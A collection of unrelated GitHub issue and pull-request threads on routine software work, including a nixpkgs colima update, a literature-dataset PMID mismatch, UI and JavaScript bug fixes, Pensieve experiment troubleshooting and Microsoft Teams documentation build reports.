

colima: 0.7.6 -> 0.8.0

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/abiosoft/colima/releases.
meta.description for colima is: Container runtimes with minimal setup
meta.homepage for colima is: https://github.com/abiosoft/colima
Updates performed

Golang update

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.8.0 with grep in /nix/store/48haasdxizrj9zsspspsdwgaa9a4kvmc-colima-0.8.0
found 0.8.0 in filename of file in /nix/store/48haasdxizrj9zsspspsdwgaa9a4kvmc-colima-0.8.0

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

colima

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/48haasdxizrj9zsspspsdwgaa9a4kvmc-colima-0.8.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A colima https://github.com/r-ryantm/nixpkgs/archive/a7f6479cdc606f5ee594cc4b659cd8fbb776815c.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/a7f6479cdc606f5ee594cc4b659cd8fbb776815c#colima

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/48haasdxizrj9zsspspsdwgaa9a4kvmc-colima-0.8.0
ls -la /nix/store/48haasdxizrj9zsspspsdwgaa9a4kvmc-colima-0.8.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review

x86_64-linux

:white_check_mark: 1 package built:

colima

Maintainer pings
cc @aaschmid @tricktron for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

@NixOS/nixpkgs-merge-bot merge


Invalid entities in PMID:15684057

This is from 23.06 release. It appears there are ~1309 unique entities (gene, disease) coming from https://pubmed.ncbi.nlm.nih.gov/15684057/. This article is about "Fluid-flow-induced flutter of a flag", and seems rather unrelated. Something appears to be off.
Looking up a random 10 examples in the abstract:

Row
entity_id
entity_label
entity_type
entity_span
section

1
ENSG00000166819
PLIN1
gene
PLIN1
abstract

2
EFO:0000544
infection
disease
infection
abstract

3
MONDO:0000473
arterial disorder
disease
arteriopathy
abstract

4
ENSG00000012223
LTF
gene
LTF
abstract

5
ENSG00000175084
DES
gene
desmin
abstract

6
ENSG00000109819
PPARGC1A
gene
PPARGC1A
abstract

7
ENSG00000047457
CP
gene
CP
abstract

8
EFO:0000544
infection
disease
infection
abstract

9
ENSG00000162191
UBXN1
gene
UBXN1
abstract

10
OBI:1110021
infect
disease
infection
abstract

I can't find any of these in the text of the abstract.

Hi @ravwojdyla,
Thank you for reporting this quite annoying issue. The reason of the seemingly bogus entities, is that the same pmid points to multiple, completely unrelated publications identified by their PMCIDs. In your example 311 of them [1]. We are aware of this ambiguity for few months now. @tsantosh7 investigated the problem and could confirm that the problem was propagated from EPMC [2], and is in conversation with their database team to resolve the issue.
Until the problem is resolved at the source, we are planning to drop ambiguous entries from the literature dataset on our side. Thank you again, and please keep reporting any inconsistencies potential problem you might found!
Best,
Daniel
[1] Retrieving the pmc ids associated with PMID:15684057:
(
    spark.read.parquet('gs://open-targets-data-releases/23.06/output/etl/parquet/literature/matches')
    .filter(f.col('pmid') == pmid)
    .select('pmid', 'pmcid')
    .distinct()
    .count()
)

Gives 311.
[2] The same ambiguity can be reproduced at the EPMC front end as well. An other example is PMID:28656131 which is assigned to PMC5731772 and PMC5478796. You can see these two papers showing up when searching for the pmid on EPMC. However they are showing the correct PMID. In the matches dataset however:
(
    spark.read.parquet('gs://open-targets-data-releases/23.06/output/etl/parquet/literature/matches')
    .filter(f.col('pmid') =='28656131')
    .select('pmid', 'pmcid')
    .distinct()
    .count()
)

+--------+----------+
|    pmid|     pmcid|
+--------+----------+
|28656131|PMC5478796|
|28656131|PMC5731772|
+--------+----------+

Where PMC5478796 is the correct. Unfortunately we don't have the right PMID for PMC5731772.

@DSuveges that makes sense! Thanks for the context, this is awesome! I have subscribed to https://github.com/opentargets/issues/issues/2970.

duplicate of #2970

Duplicate of #2970

The PMID here in PubMED is 29255720 which is the correct mapping for PMC5731772

The PMID here in EuropePMC is 29255720 for PMC5731772 (correct)

However when I deal with the raw XML, the mapping for PMC5731772 is showed as 28656131

After speaking with the Europe PMC project leader and DBA they conveyed that the results were not as anticipated. However, they clarified that they do not have control over the content. For any discrepancies or concerns, contacting NCBI would be the recommended course of action. They also noted that other mapping issues might arise from a variety of different factors. So as a plan of action, we have generated an internal task for looking into this. Unfortunately, we do not have an option to show our tasks publicly as this platform does. Nonetheless, I will keep this thread updated whenever there is an update.

@tsantosh7 awesome, thanks for the context, and looking forward to the updates.


fix box ellipsis

https://coveord.atlassian.net/browse/KIT-838

I took a look at the ellipsis issue & opened a quick draft https://github.com/coveo/ui-kit/pull/1026, I'm also reusing the BoxValue since it's similar enough like Sami said.
For the checkbox, the box should be aligned when selected / deselected and not a little to the left. There also needs to have an hover effect (text primary & underline)

@nbuissoncoveo Feel free to integrate these changes into your PR!

I won't merge this, it was only a POC! 😄

I won't merge this, it was only a POC! 😄

Oh ok I wanted to merge it into mine but no worries I will implement the facetValueBox changes.


fix ReferenceError: function parameter name and variable name were different

I got ReferenceError when data doesn't match pattern because variable name used in error and function parameter name are different (value vs text)
Changed value to text for all functions whose parameter name is text but reference with value

Thank you!
Could you please also try to add a unit test for this? Just for completeness sake.

Thank you for the comment!
Added tests for error cases for all parseXXX in Calendar.js (not only the functions I modified) for completeness.


empty files in run_exp/results/log_RL...

While I conduct the experiment on mahimahi, I try the command “ python run_traces.py  ../cooked_traces RL 7 ip” . It  doesn’t show any errors in chrome_retry_log, however, the log files generated in run_exp/results are empty. Can you give me some advices about this ? By the way, I conduct the experiment in the Virtual machine with Selinium 2.39.0 , chrome 78.0, and the right chromedriver. And I use py3.5. I‘ll be really appreciate it if you can give me some help : ) Thanks!!!

And I have added the code https://github.com/park-project/park/blob/master/park/envs/abr/run_video.py#L63 , And it still got empty content.

Wow really nice that you scouted our other repo to find that fix - that's what I would have suggested :)
With the setup, you should be able to 1. run rl_server_no_training (or other server in https://github.com/hongzimao/pensieve/tree/master/rl_server), 2. start web server (that should be by default when you installed apache2, 3. start a chrome browser and go to localhost/myindex_RL.html (or other html in https://github.com/hongzimao/pensieve/tree/master/video_server). This bypasses the mahimahi and you can see if the video loads properly (apologize if the video content is not the most pleasant one!).
The idea is basically runs the command in the automated script and see where things get stuck. Hope this helps!

I’m really grateful for your emails. And with the advices you gives to me, I fixed some problems caused by the type error so that I can load the videos properly when bypassing the mahimahi. And the videos look artistic. However, the problem of empty files in results still exists, and it seems that when using command to run ‘run_traces.py’, ‘rl_server_no_training.py’ doesn’t work.  Are there something wrong with the command of ‘proc’ in ‘run_video.py’? I’m still confused with it. Thanks for your reply again. : )------------------ 原始邮件 ------------------
发件人: "Hongzi<EMAIL_ADDRESS>发送时间: 2020年4月30日(星期四) 凌晨4:00
收件人<EMAIL_ADDRESS>抄送: "Ashling123"154117377<EMAIL_ADDRESS>主题: Re: [hongzimao/pensieve] empty files in run_exp/results/log_RL...(#98)
Wow really nice that you scouted our other repo to find that fix - that's what I would have suggested :)
With the setup, you should be able to 1. run rl_server_no_training (or other server in https://github.com/hongzimao/pensieve/tree/master/rl_server), 2. start web server (that should be by default when you installed apache2, 3. start a chrome browser and go to localhost/myindex_RL.html (or other html in https://github.com/hongzimao/pensieve/tree/master/video_server). This bypasses the mahimahi and you can see if the video loads properly (apologize if the video content is not the most pleasant one!).
The idea is basically runs the command in the automated script and see where things get stuck. Hope this helps!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

You can try executing the command in https://github.com/hongzimao/pensieve/blob/1120bb173958dc9bc9f2ebff1a8fe688b6f4e93c/run_exp/run_video.py#L62 directly in your command line and see if it works.
(Just saw #100 successfully runs the experiment very recently. Might be worthwhile checking there to see the setup as well.)

I’m sorry to respond your email late, because I have some problems in my virtual machines and spend some time checking over the software configurations. I have solve the problem with your suggestion, and I’m really happy and grateful ! ^ ^ Now I want to get more figures that show pensieve’s advantages. Could you tell me some details about getting the figure 8 and 9 in your paper ? Besides changing HD_reward in multi_agent.py and retrain a new model, what else do I need to modify? Thanks for your replying: ) ------------------ 原始邮件 ------------------
发件人: "Hongzi<EMAIL_ADDRESS>发送时间: 2020年4月30日(星期四) 晚上8:08
收件人<EMAIL_ADDRESS>抄送: "Ashling123"154117377<EMAIL_ADDRESS>主题: Re: [hongzimao/pensieve] empty files in run_exp/results/log_RL...(#98)
You can try executing the command in https://github.com/hongzimao/pensieve/blob/1120bb173958dc9bc9f2ebff1a8fe688b6f4e93c/run_exp/run_video.py#L62 directly in your command line and see if it works.
(Just saw #100 successfully runs the experiment very recently. Might be worthwhile checking there to see the setup as well.)
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Glad to hear you made it work! I remember the reward signal was pretty much the only thing we changed in that evaluation. You might also want to consider using larger dataset for evaluation (see if you can download more data from the source (e.g., http://home.ifi.uio.no/paalh/dataset/hsdpa-tcp-logs/). We experienced better model performance with more data.

^ ^ ok, I've got what your said ~ And do I need to change the reward expression in MPC or other algorithms? I’ve thought this is a kind of QoE goal so other algorithms also need to achieve. Am I thought right? thanks for reply again. ------------------ 原始邮件 ------------------
发件人: "Hongzi<EMAIL_ADDRESS>发送时间: 2020年5月4日(星期一) 晚上9:24
收件人<EMAIL_ADDRESS>抄送: "Ashling123"154117377<EMAIL_ADDRESS>主题: Re: [hongzimao/pensieve] empty files in run_exp/results/log_RL...(#98)
Glad to hear you made it work! I remember the reward signal was pretty much the only thing we changed in that evaluation. You might also want to consider using larger dataset for evaluation (see if you can download more data from the source (e.g., http://home.ifi.uio.no/paalh/dataset/hsdpa-tcp-logs/). We experienced better model performance with more data.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Yes, you change all algorithms to the same reward if you need to compare them on the same ground.

Alright, Thank you 😊 ------------------ 原始邮件 ------------------
发件人: "Hongzi<EMAIL_ADDRESS>发送时间: 2020年5月5日(星期二) 上午9:57
收件人<EMAIL_ADDRESS>抄送: "Ashling123"154117377<EMAIL_ADDRESS>主题: Re: [hongzimao/pensieve] empty files in run_exp/results/log_RL...(#98)
Yes, you change all algorithms to the same reward if you need to compare them on the same ground.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


HWKAGENT-157 abort first startup if being asked to start up again

@josejulio please peer review this when you can.

good point. I didn't realize I don't even need the try-catch. It has been removed.

LGTM


Vickel: Watch xnxubdbrowserapk.com

Vickel requests the watch of the watch_keyword xnxubdbrowserapk\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

Approved by Jeff Schaller in Charcoal HQ


Document parameters

Write better documentation and explain the importance and interaction of various parameters.

Also make sure that all the important parameters are exposed.

Mention typical ranges of parameters.


add configuration command

provide a a new sub command to configure the CLI to provide the following functionalities:

add a profile
update a profile values
delete a profile

Hi, I'm interested in working on this issue. To clarify, by add a profile do you meed add a user? I don't see a profile endpoint in the api spec.

Hi @kadinsayani, thank you for the interest, I wasn't expecting to have someone interested in it!
So, what I mean is to have a configuration file structured like the following one:
[profile1]
token=foo
host=bar.com

[profile2]
token=baz
host=roo.com

It is not a feature of the Jira REST API itself but it would be something client side to handle a situation where you, developer, are jumping around multiple projects and to avoid changing all the time the configuration file or providing every time the different credentials you can use a flag --profile and select the host and token from one of the different profiles saved inside the configuration file.
The behaviour would be similar to the AWS CLI configuration file, you can take a look on how it works here
As written in the issue a user should be able to add, update and delete a profile, a default profile can be available and if no profile is specified then the default one should be used.
The command could be structured as:
$ jira-helper configure # create a new profile, edit a specific profile or the default one
$ jira-helper delete # delete the given profile

So a new subcommand inside of cmd/root.go could be added and a new directory named cmd/configure can also be added with two file configure.go and delete.go to manage the two sub commands.
You can take inspiration from the already available commands and subcommands.
I hope this clarify the expected behaviour of the feature.
Have fun!🦄

Hi @kadinsayani I can see your pull request, I will review it as soon as possible unfortunately this week turns out busier than expected. I hope you can understand!

No worries! Thanks :)


Added the Landing Page

The landing page has been created based on these designs
Mobile - https://app.evrybo.com/share/project/8308/87816/IMkRaB3RydMAXNQM8rtF
Desktop - https://app.evrybo.com/share/project/8309/87819/HKkcT9lqXyU4Uev9JOsb
Some links to other pages have also been added. Please review the PR and let me know if any changes are required :slightly_smiling_face:
Solves #12

@blenderskool Please make a PR to develop branch.Also add quotes.svg to design-assests folder.

@twishasaraiya I have changed the branch. If I move quotes.svg to design-assets then how will I import it in the page? I would get an error since it is outside the src folder.

What I meant was add the quotes.svg to design-assets folder as well. We want to keep all our icons in one place. You can keep the one currently in Home folder.

@twishasaraiya I have added quotes.svg to design-assets also :+1:


support do not track?

For the new dat site, I would like to honoring the user's do not track policy.
Seems like this be the right place to add, but not sure. It'd be as simple as:
if (window.navigator.doNotTrack) return false
return window.navigator.sendBeacon(url, blob)

Oh yeah, totes down with that!
On Thu, Sep 21, 2017 at 7:09 PM Joe Hand<EMAIL_ADDRESS>wrote:

For the new dat site, I would like to honoring the user's do not track
policy.
Seems like this be the right place to add, but not sure. It'd be as simple
as:
if (navigator.doNotTrack) return falsereturn window.navigator.sendBeacon(url, blob)
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/yoshuawuyts/nanobeacon/issues/4, or mute the thread
https://github.com/notifications/unsubscribe-auth/ACWletrjOuJNRISRpeEIZtjC7gDYOsauks5skpg3gaJpZM4Pfos3
.


Code availability

Dear authors,
Thanks for the very interesting work at ICCV23. Could you please let us know when do you plan to release the source code of your approach?
Best,
JC

Hi @jcsma,
I'm glad you find our work interesting :) I'm planning to polish the code after the CVPR deadline. Targeting early December.

@mattiasegu any news about the code?
Best,
Heitor

@heitorrapela @jcsma a first version of the code is now available, together with pre-trained checkpoints and usage instructions. Please let me know if you encounter any issue!


Added commands to Status

Added all commands that wasn't in to the Status action menu

Thanks for this, it has been released in v0.2.11


(Try to) Silence unused label warnings inside choose blocks

This is an attempt to get rid of the unused-label warnings generated by the
choose block macros.
Unfortunately this only seems to work with clang. gcc still generates the
warnings.

What warning level are you using?

-Wall

I think they can be removed like this:
+                    goto mill_concat(mill_dummylabel, idx);\
                    mill_concat(mill_dummylabel, idx)

However, there are other warnings popping up.

The gotos did the trick.

Merged.


Question about the evaluation metrics in traj_loc_pred task

Dear all, thanks for your useful codes.
I have a small question about the evaluation metric about Precision@K in your codes. I am not sure why you only use "self.intermediate_result['total'] * self.topk" to calculate Precision@K and remove "self.topk" in the remaining metrics (e.g., Recall@K).
Thanks!
https://github.com/LibCity/Bigscity-LibCity/blob/f8e5e49a162cb4c5660f655b43d9c0a919a21193/libcity/evaluator/traj_loc_pred_evaluator.py#L62-L71

Hello, these metrics are calculated as described in the document https://bigscity-libcity-docs.readthedocs.io/en/latest/user_guide/evaluator/traj_loc_pred.html. You can look up "Recall and Precision at k for Recommender Systems" to understand how these metrics are computed. In essence, you treat the actual next location visited by the user as the item they purchased, and the model's top k predicted locations as the top k recommended items.

Thanks for your generous explanation. We will cite your paper correctly in our current study. Thanks!


Export option help

This is a bit unclean; after optargs are parsed, effectively if it sees "-c" "-e" (and no entrypoint), it converts it into "--entry-point=" "-e" (and no "-c" option). But I think the resulting behavior exactly matches user expectation now.
Once I learn the codebase better, I might be able to provide a better proposal.

Edit: I accidentally included a bunch of extraneous commits. I'll fix that in just a minute (this PR is a 5 line change)

I prefer to output a warning message rather than implicitly overwrite the output type.

As a user I'd be happy with that 👍

I have modified the code to reflect the export of the -e option even when outputting object files with the -c option.
b5e89be
WASM object file is an intermediate file, so this change does not make much sense, though.

This issue is solved, so I'm going to close.


Added ability to get the state of a build

Hi,
Added the ability described above.
@sebarmeli Is there any possibility to publish the updated version to npm soon?
Thanks in advance,
Reuven

ok version bumped


ISP on Vision Kit

Hi,
From RPi and Myriad2 documentation, I think there are ISP (image signal processor) blocks on both of them. So, in case of Vision kit, which ISP is being used before feeding the image to the inference engine? Does this vary with CameraInference or ImageInference?
Thanks,
Venky

With ImageInference there's no isp being run because you're supplying the
imagen in rgb form.
For camera inference there're two distinct ISPs which are being run in
parallel on myriad and rpi.
Thanks, Leonid.
On Tue, May 1, 2018, 10:15 AM Venkatesh Kodukula<EMAIL_ADDRESS>wrote:

Hi,
From RPi and Myriad2 documentation, I think there are ISP (image signal
processor) blocks on both of them. So, in case of Vision kit, which ISP is
being used before feeding the image to the inference engine? Does this vary
with CameraInference or ImageInference?
Thanks,
Venky
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/google/aiyprojects-raspbian/issues/350, or mute the
thread
https://github.com/notifications/unsubscribe-auth/AEJs0ANK4dQe5ThP4NIQVDxotMBiW8suks5tuJhNgaJpZM4TuNxQ
.

Hi @lleonid,
Thanks for your response. For CameraInference, why do we need two ISPs to run in parallel, if they are doing the same job? It's waste of computation right.
Thanks,
Venky

ISP on the Pi cannot be used on Myriad chip.  Myriad chip has access only to RAW data (directly from the image sensor), that's why another ISP is required.

@dmitriykovalev : Okay, if that's the case, what is the Pi's ISP used for? In other words, if Myriad2's ISP can convert RAW data to RGB, we don't need another ISP to do the same operation on Pi right.

@kodukulav  We do not modify Pi board and it expects RAW data from the camera sensor. Then it converts RAW data to RGB. Myriad cannot access RGB data on the Pi board, that's why there is another ISP pipeline. You can only see RGB from the Pi on the monitor. RGB from Myriad is not directly visible and only used as an inference input.

Got it. Thanks. I'm closing this issue.

@dmitriykovalev -- Would it be accurate to describe this configuration from a block-diagram perspective as the Myriad "tapping" the RAW datastream as it passes between PiCamera and Pi, so both Myriad ISP and Pi ISP think they're directly fed the RAW datastream from the PiCamera?
Electrically it's obviously a bit more complicated.  :-)

@virtualjmills Yep, you description is pretty accurate.


feat(tutorial): complete step 4

Closes #
Davis- step 4
Changelog
New

{{new thing}}

Changed

{{change thing}}

Removed

{{removed thing}}

No updates in 30 days. Closing.


[Do not merge] October 2022 M365 apps platform updates

Latest updates for Teams M365-enabled apps:

Android mobile preview: Add note in prereqs about optional Android device/emulator (other doc updates already published)
SPFx app support: Document support in overview page, add SPFx section w/resources in launch page tutorial
Link unfurling: Document support in overview page, add link unfurling section w/resources in ME tutorial

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
94
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
92
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 9510fe9:
:warning: Validation status: warnings

File
Status
Preview URL
Details

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:warning:Warning
View
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md

Line 65, Column 4: [Warning: bookmark-not-found] Cannot find bookmark '#update' in 'm365-apps/extend-m365-teams-personal-tab.md'.

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Learn Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
94
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
92
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 4f7ebdb:
:bulb: Validation status: suggestions

File
Status
Preview URL
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
94
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
92
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 4a95f1e:
:bulb: Validation status: suggestions

File
Status
Preview URL
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
94
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
92
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 08b4c5a:
:bulb: Validation status: suggestions

File
Status
Preview URL
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Thank you @v-habibaumme, I've implemented your suggestions. Mind taking another look?

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
93
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
91
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 72c0f0d:
:bulb: Validation status: suggestions

File
Status
Preview URL
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Learn Build status updates of commit 7427bdf:
:bulb: Validation status: suggestions

File
Status
Preview URL
Details

msteams-platform/m365-apps/overview.md
:bulb:Suggestion
View
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md

Line 17, Column 2: [Suggestion: column-header-missing - See documentation] Column headers are required for tables. Add appropriate header text, or remove any extra table cells that cause an extra column.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings or suggestions unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
93
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
91
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 4b42467:
:white_check_mark: Validation status: passed

File
Status
